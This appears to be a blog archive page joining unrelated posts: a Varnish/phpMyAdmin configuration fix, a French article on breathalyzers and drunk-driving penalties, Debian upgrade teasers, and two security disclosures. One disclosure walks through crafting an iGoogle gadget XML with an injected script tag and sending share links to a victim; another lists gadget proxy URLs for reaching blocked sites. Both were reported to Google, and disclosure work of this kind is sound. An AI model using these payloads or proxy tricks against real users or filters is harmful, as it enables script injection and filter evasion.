Hi guys,

Hope all of you know about Varnish, the http cache server. A very good and stable one.

But last week i had some issues regarding configuration of my phpmyadmin on it.

 

Phpmyadmin issue where :

Cannot start session without errors, please check errors given in your PHP and/or webserver log file and configure your PHP installation properly.

Eveywhere you’ll find this is an issue related to session temp directory configuration. FALSE. THIS IS BULLSHIT.

Here is the solution:

Firt of all you need to setup your varnish for the domain or the phpmyadmin directory not to be cached. I set this on a specific back office subdomain name for all my administration tasks (just restrict this access by ip AND passwd on htaccess btw).

Here is the related rules:

sub vcl_fetch {

        if (req.url ~ "XXXX.YYYYYY.TLD") {
                return(pass);
        }
}

Then you’ll have to configure your phpmyadmin directory. Software is not smart enough to understand it’s run behind  varnish, so he’ll try to redirect you to your backend server (which is, I HOPE, not available by public adress/port). So configure this directive « $cfg['PmaAbsoluteUri'] » swith your phpmyadmin public internet URL.
And then setup auth_type with « http ». Problem comes from « cookie » auth. I still didn’t resolv this issue but at least this configuration works !

 

 

$i = 0;
$i++;
/* Authentication type */
$cfg['Servers'][$i]['auth_type'] = 'http';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
/* Select mysql if your server does not have mysqli */
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['PmaAbsoluteUri'] = 'http://XXXXXXXXXXX/';

 

HF dudez.

, , , ,

In the goal to be harder better faster geeker than ever, this article will help you absolve your incompleteness and your total lack of ingenuity.

With your multi-touch keyboard so you’ll know that holding down the shift or control key when you click on the tabs, they will then be grouped into a single selection with the obvious aim to assemble crowds for more tame.

Selection with control of my favorite sites:

Selection with shift:

Pin / to favorites / close:

Admit that it is horny.

, , , , ,

Le risque des éthylotests discounts

Vous recherchez sans doute des éthylotest pas cher mais la vraie question, est-ce possible de trouver des éthylotest discount quand on sais que cela peut sauver des vie ?

 

Ethylotest

Ethylotest pas cher

Que se passerait-il si vous faisiez pleinement confiance au résulta t de votre alcootest de faible qualité !

Les accidents avec alcool sont des accidents dans lesquels au moins un des conducteurs impliqués a un taux d’alcoolémie supérieur au taux maximum autorisé. Dans 85 % des cas d’accidents mortels liés à l’alcool, les responsables étaient des buveurs occasionnels. Il suffit souvent d’une fête de famille, d’un pot entre amis, d’un repas bien arrosé. L’alcool est à l’origine de 34% des accidents mortels toute l’année. Cette proportion s’élève à 45% dans les accidents mortels à un véhicule seul sans piéton. L’alcool est impliqué dans la moitié des accidents mortels survenus le week-end et il est la principale cause de 42% des accidents mortels touchant les jeunes de 18 à 24 ans l’été. Le risque d’accident mortel augmente considérablement avec le taux d’alcoolémie. Tout conducteur ou accompagnateur d’élève conducteur en état d’ébriété compromet gravement la sécurité de ses passagers et des autres usagers de la route. En conséquence, il est interdit de conduire avec un taux d’alcool égal ou supérieur à 0,5 gramme par litre de sang, soit 0,25 mg d’alcool par litre d’air expiré.

Sachez le !

Les forces de police et de gendarmerie pratiquent des dépistages du taux d’alcoolémie des automobilistes et des accompagnateurs d’élèves conducteurs :
En cas d’accident de la circulation ayant occasionné un dommage corporel, même si l’automobiliste n’en est pas responsable,
En cas d’infraction au code de la route (même en dehors d’un état d’ivresse manifeste).

Autres cas : Des dépistages peuvent être également ordonnés par le procureur de la République ou les officiers de police judiciaire, en dehors de toute infraction.

 

 SANCTIONS ENCOURUES

Si votre taux d’alcool est compris entre 0,5 et 0,8 gramme par litre de sang :
> Amende forfaitaire de 135 Euros et la perte de six points du permis de conduire.
En cas de comparution devant le tribunal (par décision du procureur de la République ou de contestation de l’amende forfaitaire), vous risquez également une suspension du permis de conduire.
Si votre taux d’alcool est supérieur à 0,8 gramme par litre de sang :
>   2 ans d’emprisonnement et 4 500 euros d’amende (ce délit donne lieu à la perte de six points du permis de conduire).
Enfin, si vous provoquez un accident en conduisant sous l’emprise de l’alcool, l’amende sera portée à 30 000 euros si vous occasionnez des blessures graves et vous serez passible d’un emprisonnement pouvant aller jusqu’à 10 ans et d’une amende pouvant atteindre 150 000 euros si vous provoquez la mort d’un autre usager de la route.

0,5 Gramme par litre d’alcool ; c’est deux verres :

Un petit rappel sur les effets de l’alcool dépendent du type d’alcoolisme.

Alcool aigu : l’alcool ingéré imprègne le système nerveux dans un temps relativement court.
Plusieurs phases peuvent être distinguées en fonction de la quantité ingérée (et de la personne).
Etat d’ébriété (0,3 et 1g/L de sang) : il y a une excitation psychomotrice
avec levée d’inhibition puis euphorie et enfin logorrhée (flot de paroles), troubles moteurs, réflexes ralentis.

Etat d’ivresse (1 et 3g/L de sang jusqu’à 5g/L selon les individus) : il est
caractérisé par des troubles de la conscience, de la parole, de l’équilibre, des gestes, des actes pouvant aller jusqu’à des violences graves + nausées, vomissements.
Un comportement furieux et des hallucinations peut être suivi d’un effet sédatif.

Etat comateux (4g/L de sang chez certaines personnes) : ralentissement
des rythmes cardiaques et respiratoires qui entraîne le comas éthylique et parfois la mort.

Alcoolisme chronique :Le foie et le cerveau sont les plus atteints.

L’appareil digestif :

  • oesophagie, gastrite
  • cancer des voies aéro-digestives (pharynx) qd association avec tabac
  • pancréatite chronique
  • stéatose (dégénérescence graisseuse des hépatocytes) qui peut être suivi par une cirrhose (destruction des hépatocytes) : stade ultime de la maladie qui peut entraîner la mort par coma hépatique ou hémorragie digestive.

Le système nerveux :
- la dépendance
- atteinte nerveuse périphérique (nerfs) : polynévrite des membres
inférieurs, névrite optique
- névropathies : névrose ou psychose.

Autres atteintes :

  • divers cancers
  • affections cardio-vasculaires : cardiomyopathies
  • atteinte de la moelle osseuse (risques hémorragiques, anémie, baisse des défenses immunitaires)
  • troubles gestationnels : l’alcool passe la barrière placentaire (trouble de l’embryogénèse) ? syndrome de l’alcoolisme foetal.

 

, , ,

Introduction

GNU/Linux Debian Lenny security support has been dropped since a few days (since the 6th of February to be exact). All administrators are encouraged to upgrade their system from Lenny (5.0) to Squeeze (6.0) as soon as possible.

In my previous article I explained how I migrated my dom0 to Squeeze, so now it’s time for me to explain how I did the same thing for domUs.

Read the rest of this entry

Introduction

GNU/Linux Debian Lenny security support has been dropped since a few days (since the 6th of February to be exact). All administrators are encouraged to upgrade their system from Lenny (5.0) to Squeeze (6.0) as soon as possible.

I only had one server left running Lenny, so yesterday I decided to upgrade it. Everything went… well, I won’t say smooth but less than 24 hours later, everything is running again. Not so bad for a migration. :)

Read the rest of this entry

Something new and completely unexpected happened to me last sunday night around 8pm (what totally fucked up the end of my weekend).

First I was alerted by Google Webmaster Tools (GWT) that my websites were not in good health, just as it’s shown in this screenshot I found on Google images:

Read the rest of this entry

iGoogle is a service of Google. Its features include the capability to add web feeds a personalized homepage. Google also allows all users to create a special gadget.

  1. Write crafted gadget
  2. Submit crafted gadget
  3. Share it
  4. Exploit it !

Then, we go …

1. Write crafted gadget

I’ve get the “Google News” gadget by downloading the following XML file:

http://www.gstatic.com/ig/modules/tabnews/kennedy/tabnews.xml

and added my <script> at the end like this :

…
ud=K.getString(x),vd=K.getMsg(x),wd=/\.cn$/.test(location.host);wd||!ud||ud==vd?pd():sd(ud); window.updateCustomEdit=kd;window.saveConfig=td;window.hideSettingsBlock=jd;})()</script>
<script>alert(/XSS by @MaKyOtOx/);</script>
<div id=settings_mask onclick="return false;"></div>
<div id=settings_block>
<div id=settings_content></div>
</div>
</Content></Module>

 

2. Submit crafted gadget

I’ve uploaded my xml here: http://www.makyoto.fr/xss/poc.xml

Then, once I’ve customized my gadget, I’ve submitted it here: http://www.google.com/ig/submit

No error was found in the crafted XML file, so it’s OK, my poc.xml is ready to be used as a gadget ^^

 

3. Share it

Easy to share with friends this gadget using the official sharing features. The following links can be sent to the victim:

http://www.google.com/ig/adde?moduleurl=www.makyoto.fr/xss/poc.xml%253C&source=imag

or

http://www.google.com/ig/directory?type=gadgets&url=www.makyoto.fr/xss/poc.xml

 

If you choose to add my gadget, a widget will be now present in the iGoogle dashboard.

 

4. Exploit it !

You are bad guys …

 

Google Security Team answered me “the domain in which the feature is hosted – gmodules.com – is specifically meant as a compartmentalized « sandbox » for various types of potentially unsafe, user-controlled content. This domain is isolated from any sensitive content due to the same-origin policy.”

Yes, they’re right because I cannot access to user auth cookies, but I can render and script what I want in the gadget … And, what if an attacker can access to popular gadgets XML files ?

Nevertheless I continue to believe that there is vulnerability because the XML file isn’t sufficiently sanitized before being processed.

 

Tweets are welcome @MaKyOtOx and @devquotes

, , , , ,

Il existe plusieurs façons d’utiliser les sites de Google comme proxies HTTP :

Il existe au moins deux autres manières d’utiliser Google comme proxy, et ce en passant au travers des gadgets dédiés au portail iGoogle. Ces deux méthodes sont accessibles sans authentification préalable :

PoC#1 : http://www.ig.gmodules.com/gadgets/proxy/container=ig&gadget=http%3A%2F%2Fgoogle.com/http://www.site_interdit.xxx
(oui oui, la fin de la payload est étrange mais c’est normal)
PoC#2 : http://www.ig.gmodules.com/gadgets/makeRequest?httpMethod=GET&container=ig&url=http%3A%2F%2Fwww.site_interdit.xxx

Pour les 2 PoC, un fichier « p.txt » sera téléchargé. Il s’agit de la réponse votre requête.

L’équipe sécu de Google a été contactée ; elle considère qu’il s’agit d’une « by design feature ». Quelques limitations d’utilisation ont été mises en place comme la restriction aux protocoles HTTP(S) et un jeu de ports définis.

Comments are welcome !

,

Thanks to @martin_u from Rue89, he just found on webarchive.org that the awaited live.free.fr website was … a p0rn site.

http://web.archive.org/web/20011104050024/http://www.live.free.fr/

No image are available we would have like to see what kind of p0rn site it was (hard, soft, SM maybe :p)
If someone found the old images …

 

, ,

Introduction

As some of you may know, today should be the official launch date for the Free Mobile GSM carrier in France. Why is it interesting?

Because Free.fr was always a synonym of evolution.

They were the first to sell 50 hours of dial up internet connectivity for 30€ a month when everybody else was selling 10 hours for 50€.

They were the first to sell unlimited 512k DSL internet access for 30€ when everybody else was selling it for at least twice more.

They were the first to promote ADSL2+, increasing the average customer bandwidth by a factor of at least 5.

They announced a new revolution for today: follow the announcement live with us!

Read the rest of this entry